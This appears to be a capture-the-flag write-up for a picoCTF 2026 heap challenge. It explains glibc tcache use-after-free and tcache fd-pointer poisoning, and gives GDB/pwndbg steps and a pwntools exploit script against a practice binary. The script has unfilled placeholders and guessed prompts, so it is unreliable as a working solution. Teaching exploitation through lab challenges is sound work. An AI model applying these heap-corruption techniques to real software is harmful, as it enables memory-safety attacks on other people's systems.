tea-cash picoCTF 2026 Solution

Published: March 20, 2026

Description

You've stumbled upon a mysterious cash register that doesn't keep money - it keeps secrets in memory. Traverse the free list and find all the free chunks to get to the flag. Download: heapedit , heapedit.c , libc.so.6 .

Download heapedit, heapedit.c, and libc.so.6.

Read heapedit.c to understand the heap memory layout.

bash
cat heapedit.c
bash
chmod +x heapedit
  1. Step 1Read the source and understand the use-after-free
    Free does not erase. free(ptr) returns the memory to the allocator but does not zero it; the bytes sit there until another allocation reuses the chunk. If the program reads from or reallocates that chunk before reuse, you read the old data - that is the entire use-after-free primitive.
    bash
    cat heapedit.c
    Learn more

    Use-after-free, plain English. Calling free(ptr) hands the memory back to the allocator. The contents are not zeroed. The pointer is not invalidated. Until something else allocates that region and writes new data, the original bytes are still there. Reading them is the leak; reallocating the chunk back into your hands and triggering a print is the cleanest way to do it.

    Tcache, by design. Glibc's tcache (since 2.26) caches small freed chunks per-thread for fast reallocation. The freed chunks live in a singly-linked list, and - this is the part that matters here - the linked-list pointers are stored inside the user data area, not in separate metadata. Specifically, the first 8 bytes of a freed chunk become the fd (forward pointer) to the next free chunk in the bin. So after free: the first 8 bytes of the flag chunk are stomped by the fd pointer, but bytes 8 through chunk-size remain intact, including the rest of the flag.

    The exploit is shaped by that fact. You have two viable approaches: (a) reallocate a chunk of the matching size class so the allocator returns the same freed chunk, then read its contents through the program's normal display path; (b) corrupt the fd pointer (tcache poisoning) to redirect a future allocation to an attacker-chosen address. For just reading a flag, (a) is enough. See the Heap Exploitation for CTF guide for the full tcache-poisoning machinery.

  2. Step 2Find the flag chunk in memory with GDB
    Run the binary under GDB with the provided libc preloaded. Use heap chunks (pwndbg or peda - vanilla GDB does NOT have this command) to list every chunk with its allocation state. The freed flag chunk shows up as freed in the tcache bin for its size class.
    bash
    # Install pwndbg first if you don't have it (vanilla gdb won't work):
    bash
    # https://github.com/pwndbg/pwndbg
    bash
    LD_PRELOAD=./libc.so.6 gdb ./heapedit
    bash
    # In GDB:
    bash
    break main
    bash
    run
    bash
    # Continue past the free, then:
    bash
    heap chunks      # pwndbg/peda only
    bash
    bins             # show tcache bins and the freed chunk's address
    Learn more

    heap chunks is a pwndbg/peda command, not vanilla GDB. If you launch gdb with no plugin loaded, the command does not exist and you will get "Undefined command". Install pwndbg (or peda, or GEF) before working on heap challenges - they ship the heap chunks, bins, tcache, and arena commands that make the allocator state actually visible.

    LD_PRELOAD forces a specific shared library to load before the system one. Using the challenge's libc.so.6ensures your local heap behaves like the remote server's - glibc versions differ in tcache count limits, bin sizes, and security hardening (tcache double-free detection in 2.27, key-based poisoning protection in 2.32, safe-linking in 2.34). Mismatched libc versions silently break heap exploits.

    Heap offsets, not absolute addresses. The heap base changes between runs due to ASLR, so absolute addresses you see in GDB are different on the remote. Note the chunk's offset from the heap base (e.g., "flag chunk is at heap_base + 0x290") - that offset is stable. The heapedit interface accepts an offset directly, so this is what you actually need. See the GDB CTF guide for more pwndbg workflow patterns.

  3. Step 3Exploit the tcache UAF to read the flag
    The heapedit menu lets you write a single byte (value 0-255) at a heap offset of your choice. Use it to corrupt the tcache fd pointer of the freed flag chunk so the *second* allocation of that size class returns a chunk overlapping the flag - then trigger an allocation+print path to leak it.
    python
    # heapedit prompts (typical):
    #   "Enter byte offset to edit: "        -> integer in [0, heap_size)
    #   "Enter value (0-255): "              -> single byte
    # After the edit it loops back to the menu where you can allocate/print.
    
    python3 << 'EOF'
    from pwn import *
    
    context.log_level = "info"
    elf = ELF("./heapedit")
    libc = ELF("./libc.so.6")
    
    # Local for testing, remote for the real instance:
    p = process(["./heapedit"], env={"LD_PRELOAD": "./libc.so.6"})
    # p = remote("<HOST>", <PORT_FROM_INSTANCE>)
    
    # Offsets recovered from pwndbg/peda 'heap chunks' on a local run.
    # These are stable offsets from the heap base, NOT absolute addresses.
    FLAG_CHUNK_OFFSET   = 0x290     # the freed chunk that still holds flag bytes
    TCACHE_FD_OFFSET    = FLAG_CHUNK_OFFSET + 0x00   # first 8 bytes = fd pointer
    
    def write_byte(off, val):
        p.recvuntil(b"offset: ")
        p.sendline(str(off).encode())
        p.recvuntil(b"value: ")
        p.sendline(str(val).encode())
    
    # Step 1: overwrite the low byte of the tcache fd pointer so the next
    # allocation returns a chunk overlapping (or returning to) the flag chunk.
    # Single-byte heap-base alignment trick: only the low nibble usually changes
    # between runs, so a one-byte patch is enough.
    write_byte(TCACHE_FD_OFFSET, 0x90)
    
    # Step 2: trigger an allocation that reuses the freed chunk and prints it.
    # Use whichever menu option in heapedit allocates+displays a chunk:
    p.recvuntil(b"choice: ")
    p.sendline(b"<ALLOC_OPTION>")
    # Fill in the size that matches the freed chunk's tcache bin:
    p.recvuntil(b"size: ")
    p.sendline(b"<MATCHING_SIZE>")
    
    # Read everything until the prompt and look for picoCTF{...}
    data = p.recvuntil(b"choice: ", timeout=3)
    print(data.decode(errors="replace"))
    EOF
    Learn more

    Why the second allocation is the interesting one. The tcache is a LIFO singly-linked list. After free(flag_chunk), the bin head points to flag_chunk, whose fd points to the next free chunk (or NULL). The first malloc() of that size returns flag_chunk (head pop). The second malloc() returns whatever fd was pointing to. By corrupting fd to a controlled offset, you can make malloc hand back a chunk that overlaps the flag - useful when the program reads its allocation through a print path you control.

    Single-byte writes are enough.Heap addresses are aligned and only the low byte typically varies between adjacent chunks in the same arena, so corrupting just the low byte of fd is a sufficient redirect primitive. Heapedit's "1 byte per edit" constraint is therefore not actually limiting for this technique - it matches the problem.

    Reallocation strategy.If the program exposes a "allocate chunk and print contents" flow, the simpler path is: skip the fd corruption, just request an allocation of matching size. The freshly-served chunk is the freed flag chunk, and bytes 8 through size-1 still contain the flag. The fd-corruption variant matters when the print flow is gated on metadata or a specific pointer that you have to forge.

    UAFs remain among the most common memory-safety bugs in real software (browser sandbox escapes, OS LPEs, RCEs). Rust was designed specifically to eliminate them at compile time. See the Heap Exploitation guide for the full menagerie of tcache attacks (poisoning, double free, key bypass, safe-linking).

Flag

picoCTF{t34_c4sh_...}

tea-cash exploits a tcache use-after-free: the flag is stored in a freed heap chunk. By manipulating the tcache fd pointer with the heapedit interface, you reallocate the freed flag chunk and read its contents.

Want more picoCTF 2026 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next